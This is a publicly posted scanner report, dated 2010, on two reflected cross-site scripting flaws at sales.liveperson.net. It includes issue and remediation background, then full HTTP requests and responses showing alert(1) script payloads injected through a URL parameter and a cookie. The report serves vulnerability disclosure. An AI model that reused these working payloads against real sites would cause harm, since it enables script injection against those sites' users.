Report generated by XSS.CX at Mon Nov 15 18:02:38 CST 2010.

Cross Site Scripting Report, XSS, CWE-79, sales.liveperson.com, DORK, GHDB

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

1. Cross-site scripting (reflected)

1.1. https://sales.liveperson.net/hc/12703439/ [SESSIONVAR%21skill parameter]

1.2. https://sales.liveperson.net/hc/12703439/ [HumanClickKEY cookie]

1. Cross-site scripting (reflected)
There are 2 instances of this issue:

/hc/12703439/ [SESSIONVAR%21skill parameter]
/hc/12703439/ [HumanClickKEY cookie]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. https://sales.liveperson.net/hc/12703439/ [SESSIONVAR%21skill parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	https://sales.liveperson.net
Path:	/hc/12703439/

Issue detail

The value of the SESSIONVAR%21skill request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4419a'%3balert(1)//93be0767eb4 was submitted in the SESSIONVAR%21skill parameter. This input was echoed as 4419a';alert(1)//93be0767eb4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /hc/12703439/?cmd=file&file=visitorWantsToChat&site=12703439&SESSIONVAR%21skill=Sales-SL-WWW-English4419a'%3balert(1)//93be0767eb4&imageUrl=https%3A%2F%2Fwww.softlayer.com%2Fimg&referrer= HTTP/1.1
Host: sales.liveperson.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: HumanClickKEY=8183828034651082508; LivePersonID=LP i=4380285263389,d=1289162740; HumanClickACTIVE=1289862550813; HumanClickSiteContainerID_12703439=STANDALONE;

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 15 Nov 2010 23:10:43 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
X-Powered-By: ASP.NET
Set-Cookie: HumanClickSiteContainerID_12703439=STANDALONE; path=/hc/12703439
Set-Cookie: LivePersonID=-4380285263389-1289862522:-1:-1:-1:-1; expires=Tue, 15-Nov-2011 23:10:43 GMT; path=/hc/12703439; domain=.liveperson.net
Set-Cookie: HumanClickCHATKEY=785919832852814599; path=/hc/12703439; secure
Content-Type: text/html
Last-Modified: Mon, 15 Nov 2010 23:10:43 GMT
Cache-Control: no-store
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Length: 8318

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="EN" xml:lang="EN">
<head>

...[SNIP]...
r(true)
pageTracker._setAllowHash(false);
setTimeout('sendGAData()',5000);

function sendGAData(){
try{
var path = 'LivePerson PreChat/Sales-SL-WWW-English4419a';alert(1)//93be0767eb4';

pageTracker._trackPageview(path);
}catch(e){
pageTracker._trackPageview();}
}
</script>
...[SNIP]...

1.2. https://sales.liveperson.net/hc/12703439/ [HumanClickKEY cookie] previous

Summary

Severity:	Information
Confidence:	Certain
Host:	https://sales.liveperson.net
Path:	/hc/12703439/

Issue detail

The value of the HumanClickKEY cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 683fc"><script>alert(1)</script>05cd3d80bc3 was submitted in the HumanClickKEY cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /hc/12703439/?cmd=file&file=visitorWantsToChat&site=12703439&SESSIONVAR%21skill=Sales-SL-WWW-English&imageUrl=https%3A%2F%2Fwww.softlayer.com%2Fimg&referrer= HTTP/1.1
Host: sales.liveperson.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: HumanClickKEY=8183828034651082508683fc"><script>alert(1)</script>05cd3d80bc3; LivePersonID=LP i=4380285263389,d=1289162740; HumanClickACTIVE=1289862550813; HumanClickSiteContainerID_12703439=STANDALONE;

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Mon, 15 Nov 2010 23:10:52 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
X-Powered-By: ASP.NET
Set-Cookie: HumanClickSiteContainerID_12703439=STANDALONE; path=/hc/12703439
Set-Cookie: LivePersonID=-4380285263389-1289862650:-1:-1:-1:-1; expires=Tue, 15-Nov-2011 23:10:52 GMT; path=/hc/12703439; domain=.liveperson.net
Content-Type: text/html
Last-Modified: Mon, 15 Nov 2010 23:10:52 GMT
Cache-Control: no-store
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Length: 35454

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="EN" xml:lang="EN">
<head>

...[SNIP]...
<link href="/hc/12703439/?cmd=file&file=chatTemplate&site=12703439&sessionkey=H8183828034651082508683fc"><script>alert(1)</script>05cd3d80bc3-6403226906246964057K413903&template=modern_mainstyle.css" rel="stylesheet" type="text/css" />
...[SNIP]...

Report generated by XSS.CX at Mon Nov 15 18:02:38 CST 2010.